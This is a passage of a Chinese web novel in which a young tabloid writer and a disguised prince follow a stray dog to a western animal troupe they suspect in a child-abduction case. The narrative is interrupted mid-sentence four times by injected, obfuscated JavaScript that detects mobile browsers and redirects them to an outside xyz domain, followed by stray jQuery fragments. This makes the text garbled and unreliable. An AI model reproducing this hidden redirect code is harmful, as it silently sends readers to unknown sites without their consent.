奇奇犬的外型与方才阮竹君所分析的画中犬的特征都能对上。而且奇奇犬在上京也是较为常见的一类犬种,又体型矮小,自然不容易引起其他过路人的注意。 两个小孩追着狗走远,这在上京繁忙街市中是再平平无奇不过的一个画面,难怪骊街上如此多的一双双眼睛,都没有对此场景留有印象的。 崔煜川将他的想法与众人一说,大家都觉得十分可信。 “查狗可比查人简单,”流火君又按捺不住了,“交给我吧!”说罢,他一溜烟地跑走了。 “也不知道流火君的钱袋子还撑不撑得住。”顾婉妤调侃道。 “没想到误打误撞还能有这样的收获,你功不可没。”崔煜川向顾婉妤肯定地点了点头,“下次我们再见到他们,就不是报以警戒敌对的态度,而是要道谢了。” “嘿嘿。”突然被夸奖,顾婉妤摸摸脑袋,有些不好意思,又有些骄傲得意。 阮竹君和瑜瑾君在一旁看了两人的互动,双双交换一个意味深长的眼神。看来两个小家伙私下里也相处得很好呢,这样他们也可放心了。 毕竟除了总在状况外的流火君以外,大家现在都知道“阿洋”的真实身份了,会担心他对天真单纯的顾婉妤不利也是很正常的。 “那我们便去派发小报了。”阮竹君给顾婉妤打了个招呼,和瑜瑾君一起离开了。 “平时都是这两位哥哥姐姐在盯着小报印刷,以及往城中各大酒楼、商贩、书社等地寄售小报。他们很靠得住呢。”顾婉妤向崔煜川解释,“我主要是负责挖掘素材、撰写内容。” “你们的分工很明确,也很合适。”崔煜川想了想,开口道,“那么接下来我也将以骊街为中心,调查京中有谁养了奇奇犬,以及是否与宛邦有所关联。” “我有一个想法,”顾婉妤说,“这只狗会不会经常在骊街出没呢?对于我来说,就算是一只再普通不过的狗,可是它那么可爱的样子,我遇到了就想要多看两眼。怎么会出现满街的人都没有印象的情况呢?” “又是体型极小混在人群中难以看见,又是时常出没使人对其存在见怪不怪,综合起来便造成了无人在意的现状。”崔煜川立马肯定了顾婉妤的想法,“不如我们去骊街再询问一番。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840141|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说走就走,这次两人在光线明亮、天高气正的白日重探骊街,各自的心情也好了许多。 “真好啊,现在有了你就有人与我作伴了,以前我都是自己出门探查奇闻异事的。”顾婉妤欣喜笑着,看向与她并肩同行的崔煜川。 “这个……刘家的事情人命关天,我自然要一起。但以后若再有别的事件,我自己也说不准还会不会加入你们。”崔煜川耸耸肩。 若叫别的人听了,定是觉得崔煜川的回复像木头一般不解风情,可顾婉妤毫不在意。说到底,他们两个都还是少年心性,满脑子理想、拼劲、事业心,缺乏那些情情爱爱风花雪月,所以反而能玩到一起去。 最先开口的少女意图很单纯,其后回复的少年心思也很单纯。 “哈哈,嗯!”顾婉妤在灿烂的阳光中眯起眼睛,“以后的事以后再说!” 今日的骊街一如往常,热闹、繁忙、秀美。顾婉妤在好几家摊贩及店铺伙计那里已然混了个脸熟,她便直奔而去,拉着人家问有没有在街上见到一只奇奇犬。 “奇奇犬?”被问话的人面上表情异常疑惑不解,“没注意。” 几日之前还在寻人,怎么时隔几日小姑娘的业务都发展到寻狗了?! 还有人连奇奇犬是什么都不知道,需要顾婉妤手舞足蹈地比划一通,方才摇摇头确定没有。 “哎呀,怎么回事呢,”顾婉妤奇怪地对崔煜川讲,“我还以为大家都会注意到路上走过的小狗呢,多可爱呀!” 崔煜川原本还在皱眉思索着,闻言扑哧一声笑了出来,他完全被顾婉妤这话可爱到了:“是啊。” 顾婉妤点点头,继续往前走:“是吧。” “呵呵……路过的小狗。”在她身后,崔煜川还在回味,偷偷地笑。 和顾婉妤待在一起,自己也变得幼稚了起来。想到路上啪嗒啪嗒四肢忙碌走着的小狗,以及睁着大眼睛在一旁看狗的顾婉妤,他就忍不住要笑出声来。 前方,顾婉妤还在自言自语:“看来还是得去问和我一样喜欢狗的……哎!” 她似乎看到了什么,拎起裙角快步往河边跑:“小姑娘!等一下!” 站在河边挎着盛满了鲜花的篮子的,不是那天的卖花姑娘吗。 顾婉妤急冲冲跑到小姑娘面前,把人家吓了一跳。 “嘿嘿,”她喘了两口气,上来便开门见山,“又见面啦,小可爱,你喜欢狗吗?” “嗯……”卖花姑娘一头雾水地看着顾婉妤,小声回答,“喜……喜欢……” “太好啦,我就知道你也会喜欢。”顾婉妤扬起大大的笑脸,亲切地抱住这个小女孩,又问,“你在街上见过一只眼睛很大的小狗吗?” 突然被开朗漂亮的小姐姐抱了个满怀,卖花姑娘脸蛋都红透了,结结巴巴地回答:“见……见过。” 顾婉妤和姗姗来迟的崔煜川闻言同时睁大了眼睛:“见过吗?!” “对。”卖花姑娘害羞地看着他们,“有一只脏兮兮的很小的小狗,它的眼睛长得特别特别大,经常会跑到这附近。” 8. 春山如笑(8) 天啊!运气也太好了! 崔煜川简直不敢置信,真的这么轻易就能问到了?这可是一只狗啊,上京城那么大,光骊街上养狗的店家、卖狗的贩子,都那么多,怎么就恰巧是他们要找的狗呢? 顾婉妤要开心死了,这个小女孩简直是她的福星啊!第一次见面就让她发现了自己的钱袋被偷,从而遇见疯子前辈那一群人并获得了重要的线索。现在第二次见面更是要直接帮她解决寻狗的难题了! “你知道那是谁家养的狗吗?去哪里能找到它呢?”顾婉妤迫不及待地询问。 “应该是驯兽团的狗,我也不是很清楚。”卖花小姑娘怯怯地说。 “驯兽团?是最近新来的那些搭了大棚表演动物戏的西域人吗?”顾婉妤懵了,“可以带我们去看看吗?” 小姑娘点点头。 “外籍人士鱼龙混杂,说不准就和宛邦有所关联,还真是可疑。”崔煜川评价道。 “走!现在就去一探究竟。”顾婉妤拉着卖花姑娘的手,“谢谢你帮我们,你的这些花我们全要了。” “没事的。”小姑娘连忙摇摇手,“不用这样。” “嘿嘿,他有钱的,”顾婉妤冲她眨眨眼,悄悄指了指两人身后的崔煜川,“买下这些轻而易举啦。” 小姑娘也好奇地看了一眼,感觉崔煜川确实带有一种特别富贵的气度,一看就不是普通家庭。 三人穿过骊街北的主干街市往南走,越走街上越是热闹。 卖花小姑娘的手指在顾婉妤掌心动了动,顾婉妤便低头问:“怎么了?” “那边是我喂小蝶的地方,”小姑娘指着一家饭馆的后巷说道,“小蝶就是那只小狗,它的腹部有一块儿蝴蝶形状的胎记,于是我就这么叫它。” “好,我们去看看。”顾婉妤便牵着她走过去。 后巷连着饭馆后厨门,地上有些烂菜叶和污水,脏兮兮的,是骊街上人迹罕至的区域。 小姑娘蹲下,把别人乱扔的烂菜叶拿开,露出下面的小陶碗。 “小蝶今天来吃过东西了呢,”小姑娘仰起脸,对二人说,“那它今天应该不会再出来了,怎么办?” “没关系,我们找小蝶其实也是为了了解它的主人是谁。”顾婉妤摸摸她的脑袋,把她拉起来,又问崔煜川,“我们去动物戏表演的那个地方看看吧。” “好。”崔煜川点头。 “我还没看过动物戏呢,有点期待呀。阿洋,你看过吗?” 路上,顾婉妤兴致勃勃地问。 “看过。有些人驯兽的本事很强,不仅是天上飞的、地上跑的,甚至连游鱼和昆虫都可以驯服它们进行表演。”崔煜川淡淡地说,似乎并不引以为奇。 而听着的顾婉妤与卖花姑娘则一脸惊奇。 “这么厉害呢!”顾婉妤笑着对小姑娘说,“那待会我们也去见识见识西域驯兽的厉害。” 卖花姑娘乖乖点头,头点到一半却突然一惊:“我们?……我也可以去看吗?” “当然啦!你愿意吗?我讲过啦他很有钱的,你的票我们来买,不用担心。” “愿意。”小姑娘用力点了点头。 来自西域的驯兽团近日是上京人热议的新话题,不管是上京难得一见的狮子、大象、鸵鸟等珍奇异兽,还是身负绝活容貌出色的杂耍舞姬,都吸引着众多上京民众前往观看。 甚至不止民众,连王公贵族都没怎么见过这些异域光景,要悄悄出来欣赏。 驯兽团表演动物戏的棚子就搭在骊街南的主干要道旁,有些时候还会组织在棚前的露天表演,总是能吸引到大批行人驻足,里三层外三层地给他们包围起来,喝彩叫好声不断响起。 顾婉妤三人走着走着,很快就到达了目的地。 此时棚外的空地上没有组织表演,但依然热闹非凡,尤其是大棚门口搭了大木板,上面有彩色的精致图画,正是画了驯兽舞狮的场面。黄色狮子鬓毛猎猎十分威风,口叼彩球前爪腾空。 木板旁就是卖票的位置,有个头戴锦缎高帽,身穿红黄相间的左衽胡袍的胡商男子正站在那里收钱。 看来他们正好赶上了演出的时间。 “小郎君、小娘子,来看戏吗?难得一见的猛兽表演,别处可是看不到的!” 见顾婉妤他们过来了,胡商连忙叫卖招呼起来。 崔煜川便自觉地上前掏出钱袋:“来三张票,顺便问问你们团长是谁?” 胡商颇为自豪地朗声道:“我们的团长是巴休蒙,他驯兽很厉害,在很多个国家都有名。我们从西边曼国的深山里一路走出来,带来了大景没有的宝贝。” 他的话吸引了周围的大景百姓驻足倾听,有不少人议论称赞起来,甚至还有人鼓掌的。 看来这驯兽团及团长巴休蒙是有真本事的,才能像这样得到上京百姓们的青睐与追捧。 既然如此,就进去瞧瞧他们到底有多厉害吧。顾婉妤牵着卖花姑娘的小手,迫不及待地钻进了驯兽团那红色大棚上掀起的门帘。 “哇。” 顾婉妤一进去,就不由自主发出了惊讶的动静,卖花姑娘也震撼地张开了嘴巴。 棚内的装饰充满了异域风情,令人耳目一新。棚顶不是普通的篷布,而是缝制着各种惟妙惟肖的动物图案,用色大胆鲜艳,丝线在光线折射下又浮现出特殊的光泽,塑造了别样迷幻的西域氛围。 棚内空间很大,整体呈圆形。不像传统戏剧那样专门搭起高高的戏台,动物戏的舞台就是大棚中央被圆形护栏围起来的一片沙石平地,有些格外古朴野性的感觉。 观众们也有位置坐,就是那围着舞台摆的一圈圈弧形板凳。中间留出两条通道,一条连着大门,一个通往后院。 棚内弥漫着一种厚重馥郁的香气,十分典雅。,崔煜川虽不了解香道,但这种味道他实在太熟悉了,正是受到宫廷中人追捧的西域乳香,品质上佳的好乳香一两能值千金。 这大棚空间广阔,还开启着前后两个大门,想必乳香也需要一直燃烧才能维持香味。有钱。 崔煜川心中的怀疑越来越重——仅是驯兽表演能挣得那么多钱吗? 三人找了个靠近舞台的位置坐下,顾婉妤东看看、西看看,突然听到卖花女孩小声问道:“如果狮子从围栏里跳出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840142|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吃人怎么办?” “害怕吗?”顾婉妤笑眯眯地回答,“没事的,我保护你。” 说是这么说,但为了避免发生意外后孩子跑得太慢导致自己要去狮口夺食的下场,顾婉妤让卖花小姑娘坐在了她和崔煜川的中间。 这画面简直像和谐的一家三口。 棚内观众的座位本就不多,驯兽表演生意又好,很快就坐满了。人满之后,随着一声深沉笛音的响起,驯兽表演就这样开始了。 从后院传来一声象鸣,似是在呼应笛声,紧接着,一头温顺的大象便走了出来。它体积如此庞大,走路却没有声音,步伐轻缓,显得温文尔雅。 拿着长鞭走在大象旁边的驯兽师是个留着大胡子的高壮男人,他的脸上带着亲切喜悦的笑容,一身彩袍华丽出众。顾婉妤一眼就瞧见他宽边腰带上镶嵌着的那些七彩大宝石,随着走动而熠熠生辉,火彩炫丽引人眼热。 驯兽师右手拿的是可怕的长鞭,左手拿的却是一束紫红色的鲜花。领着大象在场中站定后,他把花束举起来向观众们致意,又抛给大象。 大象的鼻子也太灵活了,一下就把花接过卷起来,又试探着在空中挥动,准备抛给观众。 沉浸在演出中的顾婉妤兴奋地把她和小姑娘牵着的那只手举起来晃悠,吸引大象的注意:“这里这里!” 大象仿佛听懂了顾婉妤的话语,轻轻一抛,花束就掉到了顾婉妤的膝盖上。 她惊喜的笑了起来,把花抱在怀里,冲大象挥挥手。 “喂,你也别玩得太高兴了,别忘记我们是来做什么的。”崔煜川在一旁无奈扶额。 “没忘记啊,我很认真的!”顾婉妤笑着辩驳。 “大景的朋友们,你们好!我叫巴休蒙,是来自大陆以西——曼国王国的驯兽师之王!你们也可以叫我巴休蒙大王。” 巴休蒙摘下他又高又夸张的羽毛帽,露出自信的笑容向众人行礼问好,得到了阵阵强烈的掌声。 “而这只聪明勇敢的大象名叫阿丽亚什,天性爱人的它从丛林深处来到了我们身边。” 紧接着,大象就在巴休蒙的指令下做了绕场小跑、接食物、单膝跪地等动作,的确十分聪明又性情温和。 直到大象被巴休蒙牵回了后院,顾婉妤还意犹未尽地抱着花,伸长了脖子瞧。 “送你一束花就高兴成这样。”崔煜川坏心眼地调侃道。 “哼,别人想要还没有呢。”顾婉妤不服输地反驳,又突然灵机一动,“对了,我想到了!” 她突然站起身,扔下一句“你们在这里等我”,就顺着座椅板凳之间狭窄的缝隙溜了出去。 “喂!”崔煜川几乎是一瞬间就明白了顾婉妤的想法,他急切地伸出手,却没能阻止。 卖花小姑娘仰起脸,好奇地看着两人的动作。 “真是不听话,”崔煜川不爽地放下手,磨牙吐槽道,“可千万别打草惊了蛇。” 这时,顾婉妤已经绕过一圈圈坐着的人们,从一人宽的座位通道处钻了出去。趁大象刚刚离场其他人还在做下一场表演的准备的时候,她跑进了连着后院的那座门。 9. 春山如笑(9) 驯兽团的后院并不大,动物们大都被关在笼子,直到表演时才能被轮流放出来。 巴休蒙牵着的大象倒是不用住在笼子里,它的体积太大了,于是巴休蒙把它拴在关了猛兽的笼子们的旁边。 顾婉妤独自来到后院,受到了几个胡人异样的目光。 她冷静地环视一圈,这里完全都是动物们的居所,所见是一目了然的荒芜,带着动物们散发的腥气,并没有给人居住的空间。 铁笼,动物,食盆,大袋的饲料,铁链与粗绳,这似乎就是一切了,没有看到能藏下两个孩子的地方。 巴休蒙看见她,表情变得不悦,而顾婉妤早有心理准备。她迎上来,露出自己讨人喜欢的招牌笑容。 “巴休蒙大王,请问我可以摸摸阿丽亚什,向它表达谢意吗?”顾婉妤双手捧着鲜花,是单纯又明媚的少女模样,“刚刚收到了它抛来的花。” 巴休蒙看了她一眼,表情依旧有些阴冷:“这里是我们的私人领地,你不能这样闯进来。” 顾婉妤抬头看看阿丽亚什,它也正看着突然出现的顾婉妤,圆溜溜的小眼睛里透出温和智慧的光,嘴巴的形状也像是在笑。 森林的精灵。 顾婉妤再次恳求:“对不起,可我实在太喜欢阿丽亚什了,如果可以我希望能买下它。” 巴休蒙上下打量顾婉妤,露出一点不确定的神情,但他的态度转变得温和了一些:“……阿丽亚什是不卖的,但既然你这么喜欢,那我就特别允许你摸摸它吧。” 不管驯兽师的名头有多响,他终究是一个市侩的商人。 巴休蒙让顾婉妤伸出一只手掌等着,随后他在空气中挥舞了一下鞭子,炸出一声响亮的“啪”。 紧接着巴休蒙再用手去掰动象鼻,长长的大象鼻子便顺从地被放到了顾婉妤的掌心中。 象鼻的触感是粗糙的,像干燥的土壤,卷着她的手,温柔地晃了晃。 巴休蒙在一旁说:“这里除了阿丽亚什,还有很多其他珍贵的动物,如果你想要购买,可以去看看。” 听到这句话,顾婉妤的内心几乎已经确信了——丢失的孩子们不在这里,所以巴休蒙并不担心她在这里走动。 那么她对这个后院的兴趣便淡了很多,或者不如说,她待在这里更能感知到许多烦闷和悲哀。 动物们被关在这个又小又肮脏的地方,成为赚钱的工具。失去自由,还要挨打,简直是丧尽天良的虐待。 巴休蒙已经领着狮子上场了,走之前还不忘让另一个做杂活的胡人助手来招待她。 顾婉妤打算搪塞一下就出去,但助手很热情,她被带着看了鸵鸟、鹦鹉、雉猴等等稀奇古怪的动物,每一种都被报出个令人瞠目结舌的天价。 顾婉妤装模作样地感叹称赞一番,尽力装出一副付得起钱的样子,但穷人装富的感觉实在难熬,她只能说:“我还是更喜欢阿丽亚什。”说罢就打算溜出去了。 正在这时,顾婉妤视线一转,正巧透过雉猴们睡着的铁笼子看到了笼子后面趴着的棕色小狗。 “咦?”她上前一步想看清楚,却被拦下来。 助手正盯着她。 “你们还养了小狗啊。”顾婉妤问。 “对,那是巴休蒙老板捡来的。”助手见顾婉妤面露喜爱,便抢先一步到笼子后面,捏着小狗的后颈提起来抱进怀里,拿出来给顾婉妤看。 的确是一只眼睛圆溜溜的奇奇犬,可它看上去不太高兴被人打扰了睡眠,呲起牙发出“呜呜”的低吼。 顾婉妤不怕狗,她伸出手指揉了揉瘦弱小狗的脑袋,嘴巴里还发出“嘬嘬嘬”的逗弄声。 小狗依然是呲牙恶狠狠地看着她,一副“老子脾气很大”的模样。 明明是这样小小的一只小狗,顾婉妤被逗笑了:“谢谢。” “不客气,如果您什么时候改变心意想要购买其他的动物了,我们随时恭候您再来。” 助手帮顾婉妤掀开了门帘,她重新回到观众席上,偷偷摸摸地坐回到原来的位置。 崔煜川见她好好地回来了,终于松了一口气:“喂,下次行事不许再这样冒失了!” 顾婉妤立马点头保证:“好的好的。不过……”她指着里三层外三层包围着舞台的观众们为自己辩解:“隔着一层门帘就有这么多人呢,我知道不会有危险的。” 见她毫无悔过之意,崔煜川脸色变黑了:“那也不行。” 顾婉妤无奈:“……知道了。” 崔煜川一看她这样就知道这人自己主意多着呢,根本不打算听他的话。 可是她一个人进去真的很危险,做人口贩卖生意的都是手上沾了人命与鲜血的极恶之徒,若是一句话没说好漏了陷,谁知道会不会突然对她痛下杀手?而且后院又养了猛兽,极有可能借口凶兽伤人从而解决隐患。 越想越气,崔煜川坐在这里也没心思注意舞台上的动静了,因为顾婉妤不听话而一个人生起了闷气。 再说顾婉妤那边,自从看过了后院动物们恶劣的生活条件,她也没心思再看巴休蒙甩着鞭子逼狮子跳火圈了。她一个劲地思索着,要真是这群西域人绑走了刘家女儿们,会把人藏在哪里呢? 坐在两个人中间的卖花小姑娘本还沉浸于热闹的表演,突然发现旁边的人都不吱声了。她左看一眼,右看一眼,终于忍不住问道:“我们出去吗?” “不不不,你看吧,”顾婉妤揉揉这么乖的姑娘的小脑袋,“等结束了再走。” 崔煜川也斜瞥一眼过来:“不着急。” 小姑娘这才放下心来,目光转回到舞台,眼睛还泛光彩,亮晶晶的。 崔煜川别扭地又看了一眼顾婉妤,见她还是压根没有在意自己这边,终于忍不住问:“你刚刚进去看到了什么?” 顾婉妤便小声说:“感觉好奇怪,他们这里不像能藏人的样子。” 崔煜川点点头:“外面骊街上来来往往的人如此之多,量他们也不敢把人随便藏在此处。” “这个巴休蒙给我的感觉还特别不好,”顾婉妤接着抱怨道,“且不论孩子是不是他们绑走的,单说他倒卖动物就够可恶的了。” 域外而来的珍稀动物多于国与国的交流中由周边各国进贡给大景以示交好,有章法旧制遵循,且较为克制,不可滥取滥伤。 并且,这些动物来到大景后,更是要被宫廷饲养起来,由专人看护管理。正因为精心饲养成本极高,还被皇帝以“开支过大”为由退回过几次。 反正绝不会像此处的动物一般可怜。 只因无律法禁止,就肆意倒卖。挂着的是动物戏的名头,实际却在铁笼中养了许多要出售的珍奇异兽,夺走它们的自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840143|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。顾婉妤咬牙叹息。 若说巴休蒙这种人趁着周游各国来去便利,就顺手做几笔人口倒卖的生意,她也绝不会不信。 “叫流火君去查查他们的住所吧。”顾婉妤提议,并得到了崔煜川的赞同。 只是……“若你真能把阿丽亚什买下来就好了。”顾婉妤忍不住开始幻想。 “啊?”崔煜川呆滞,“你说那头大象?买下来之后养在哪里?” 顾婉妤噗嗤一笑,看来小王爷是富得流油,第一反应居然不是能不能买得起,而是买下之后养在哪。 她开玩笑道:“当然是王府了。” “这……”崔煜川为难,“似乎有些不妥……” “哈哈哈。”顾婉妤乐见崔煜川吃瘪的样子。 崔煜川也反应过来,顾婉妤不是真的要买大象,更何况,他们之间是什么关系,凭什么她要买的东西,非得自己全盘付账?还得帮养? 崔煜川这样不服气地想着,耳朵却变红了。 “罢了,”他挥挥手,像赶走脑中的思绪,“你就会逗我。” 人多耳杂,这里终究不是讨论正事的好场所,两人都安静下来,陪卖花的姑娘看完了整场表演。 演出结束后,崔煜川和顾婉妤都有些乏累了,反倒是小姑娘仍精力旺盛,话也变多了,不再是一开始那般唯唯诺诺的样子。 顾婉妤提出要送她回家,她不好意思地把头摇成了拨浪鼓。 “刚刚还买了你一大篮的花呢,这会就不听话啦?”挽着小姑娘的手,顾婉妤难得摆出了靠谱姐姐的架势。 “……好吧。”姑娘小声说,“只是我家太破旧了,不便进门,也不好意思让你们瞧见。” “没事。”顾婉妤好奇地问,“家里要靠你卖花赚钱,是遇到了什么难事吗?” “真说来也没什么,”小姑娘笑了笑,“就是补贴家用而已,母亲独自带我生活,不忍见她太辛苦我却什么都不做。” “真乖,真乖。”顾婉妤蹭蹭小姑娘的脸蛋,“我还没问过呢,你叫什么名字?” “我叫殷小英。”姑娘乖乖回答。 顾婉妤和崔煜川便把小英送回了家。 “走吧,接下来再送你回去。”崔煜川说。 顾婉妤却摇头:“不了,不了。” “又怎么了?”崔煜川疑惑。 顾婉妤理所当然地说道:“本人一介草民,哪有敢让王爷护送的道理。” 崔煜川的眉宇间一皱,简直要怀疑自己的耳朵。 顾婉妤此人胆大包天,从第一次见面开始就与自己百般作对,在口舌之争上更是毫不相让,屡次让自己吃瘪。 之前她不知道自己的真实身份也就罢了,但她知道之后,行事作风毫无更改,甚至变本加厉地把自己当成探案工具人。 现在终于想起来他是王爷了?! “而且我还想问问你和云美人进展得怎么样了呢……”顾婉妤对对手指,不好意思地开口,但眼睛里冒出来的光却是实打实地透露出了期待和好奇的意思。 闻言,崔煜川咬牙切齿,新仇旧恨一起算,干脆把手里盛满了新鲜花束的花篮往顾婉妤怀里一丢,就大踏步地走了。 顾婉妤手忙脚乱接过,从丛丛茂盛鲜妍的花中探出脑袋,对着头也不回走远的崔煜川小声吐槽:“真小气。” 10. 春山如笑(10) 上京春日的清晨仍有些微凉,但对于要劳动的百姓来说却是正好。 殷小英推开房门,沾了水的湿漉漉的小脸被微风吹得凉凉的。她跑进厨房烧起灶台,开始准备简单的早饭。 待到烟从烟囱中缓缓飘出,水咕嘟咕嘟地响起来,面块就熟了。她给自己盛了一小碗,剩下的留给母亲。 吃完饭,殷小英就去挑选今天要卖的花。她大致每周都会去郊外以及滨山等地方采花,再把这些新鲜的花朵拿回来放在水中养着。 春天百花齐放,姹紫嫣红,不愁没有可卖的,靠辛勤劳动便能赚到钱,大抵是春天赠予人们的礼物。 做完这一切,殷小英就挎起篮子上了街。她母亲总是晚上出门赚钱,所以这会还在房中睡觉,小英轻手轻脚地掩好了院子的门。 她的篮子里除了美丽的鲜花,还有小小的木碗和竹筒,专门用来给小蝶装吃的喝的。 骊街很大,到处是陌生的大人,有点可怕,但小蝶是她的好朋友。 殷小英如往常一般来到那家饭馆的后巷。早上的后巷经过前一晚的打扫,基本没有什么垃圾,不用担心小蝶过来吃饭的时候会把自己小小的身体弄脏。 把食水放在固定的位置之后,小英就应该要离开了,还得努力卖花呢。 不过今日,小英发现自己特别想见一见小蝶,可能是因为见识过了驯兽团里面的猛兽们,有些好奇小蝶是怎么与其他动物相处生活的,也有可能是单纯地想念小蝶。 总之,殷小英没有像往常一样离开,她站在小巷口期待地望向远方,希望小蝶快快出现。 等待的时间是漫长的,不过当殷小英望见小蝶小小的身影出现在街上时,她高兴地几乎要跳起来。 小蝶见了小英也很激动,毕竟小蝶是狗狗,狗狗对待喜欢的人一贯如此。 但今天小蝶跑过来的动作有些不对劲。它一瘸一拐的,明显是行动不便的样子。 殷小英蹲下身子,担忧地抚摸着小蝶:“小蝶,你怎么了?” 她翻开小蝶短短的皮毛,露出下面皮肉上的伤痕。 仔细看,小蝶又大又漂亮的眼睛里也充满了红血丝和泪水。 殷小英一下子就想到了巴休蒙手里那根令狮子也畏惧的皮鞭。她心脏一痛,又害怕又生气地抱住小蝶,几乎也要落下泪来。 小蝶感受到了殷小英情绪的强烈波动,它伸出粉色的小舌头,轻轻舔了舔殷小英的手指。 “小蝶,吃东西吧,你一定饿坏了。”殷小英抱着怀里的小东西来到碗前,轻轻地把它放到地上。 小蝶听话地埋头吃起来。 殷小英在一旁心疼地抱膝蹲着看,看着看着,她突然发现小蝶的牙齿上卡了一点奇怪的异物。 “那是什么?”小英连忙止住小蝶专心扒饭的脑袋,“等一下,别吃进去了,我给你拿出来。” 小英把这片薄薄的东西捏下来,放在掌心。 原来是一小片红色布料的碎片。 奇怪,小蝶的嘴巴里为什么会有这个呢? 小英想起了顾婉妤姐姐,也不知道她那天说要找小蝶的主人是了为什么。 如果我能成为小蝶的主人就好了,小英想,那样婉妤姐姐也可以随时来看小蝶了。 婉妤姐姐,现在在做什么呢? 殷小英所不知道的是,她心心念念的婉妤姐姐,其实就在这条骊街上的某个阴暗小角落里待着,并且已经昼夜不息地待了好几天。 “哈,论蹲守,我真的是专业的,但是蹲久了一点收获都没有的话,什么人都会累的。” 顾婉妤忍不住对流火君抱怨道。 流火君也是一脸暴躁:“想我堂堂流火君,江湖人称第一侠盗,如今也不得不蹲在这个阴暗的小角落里虚度时间,真是可恶!” 自从顾婉妤和崔煜川去过了驯兽团并感到非常可疑之后,顾氏小报一干人等搜集线索的重点就放在了驯兽团等人的日常动向上。 若真是驯兽团绑架了刘家女儿们,他们总得把人藏在某个地方吧,说不定还得天天去送饭。 于是,驯兽团落脚的旅店,以及驯兽团大棚所在的区域,就成了重点观察对象。 可气的是,这些胡人还真的都是两点一线,从来不去其他地方。顾婉妤和流火君一人负责一处,紧密跟踪了好几天,都毫无所获。 性子急的流火君更是早就趁着看守空虚之时,把那家旅店探了好几次。据他所称,墙上、地窖、宝物阁,这些常人或想得到或想不到的地方,他都摸索过一遍,确认这就是家无比普通的小旅店,压根没藏什么人。 “你说,会不会不是他们干的?”流火君已经开始自我怀疑,“毕竟我们的推理过程也很是随心所欲,完全没有实质证据啊!” “直觉,直觉。”顾婉妤从这个破败阁楼的小窗中望出去,正好能看到大棚门口的人来人往,那个卖票的胡商依然对路过的人们大肆吹捧着巴休蒙的厉害,以此招徕观众。 “光靠直觉还不如去算个命。”流火君开始暴躁,握拳捶打着手边的墙壁,激起一番尘土。 “哎,别动。”顾婉妤连忙拉住他,“上京城里这种破房子可不多了,你弄塌了我们还能去哪里藏着盯梢?” 流火君一脸无可言说的悲伤,简直像要了他的命。 “难道他们真的把人藏在大棚后面养着动物的院子里?”顾婉妤托腮沉思。 “又来了,这几天你至少重复了这句话100遍。”流火君无助地捂住脑袋。 “但是能藏在哪里呢……” “第101遍。” “你不会数数耶,这句台词也应该放在第100遍里好吗?” “呜呜。”流火君崩溃地假哭起来。 阮竹君不在,是没有人能治得了决心破罐子破摔的流火君的。他跳起来,恶狠狠地说:“我这就跳进去一探究竟!” “小心他们放狮子咬你。”顾婉妤吓唬他。 “咬不着~”流火君身手敏捷,一下便从破烂的窗框中跳了出去。 “哎,等等!”这下心态崩溃的变成顾婉妤了,“别打草惊蛇啊!” 幸好流火君要横冲直撞地独自闯进去的意愿并不过于强烈,顾婉妤拼死把人拉回来了。 否则不知道会发生什么事情…… 意识到两人都到了极限的顾婉妤把带着流火君回了印坊修整。印坊院子里,阮竹君和瑜瑾君正在整理收到的文稿。 这些文稿大部分都狗屁不通,错字连篇,只是因为顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840144|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏小报征稿有酬劳,才会引得一些读者写点东西来碰碰运气。 但凡有点心气的文人墨客,估计都不屑于在这种八卦小报上登文。 原本顾婉妤说要不要取消向读者广泛征稿这一收稿途径,反正收来的大半都不能用。但瑜瑾君主张难得有一个平台能够让百姓们刊登他们的心声,而且识字、作文章本就不易,应该对愿意尝试的人们更加宽容。 于是瑜瑾君和阮竹君每次都要花很多时间挑选来稿,从中找一些可以经过加工登上小报的文章,也是增加了不少工作量。 现在他们挑选来稿的重心又变为了筛选有没有人提供刘家女儿失踪案的线索。 很可惜的是,全无相关投稿。 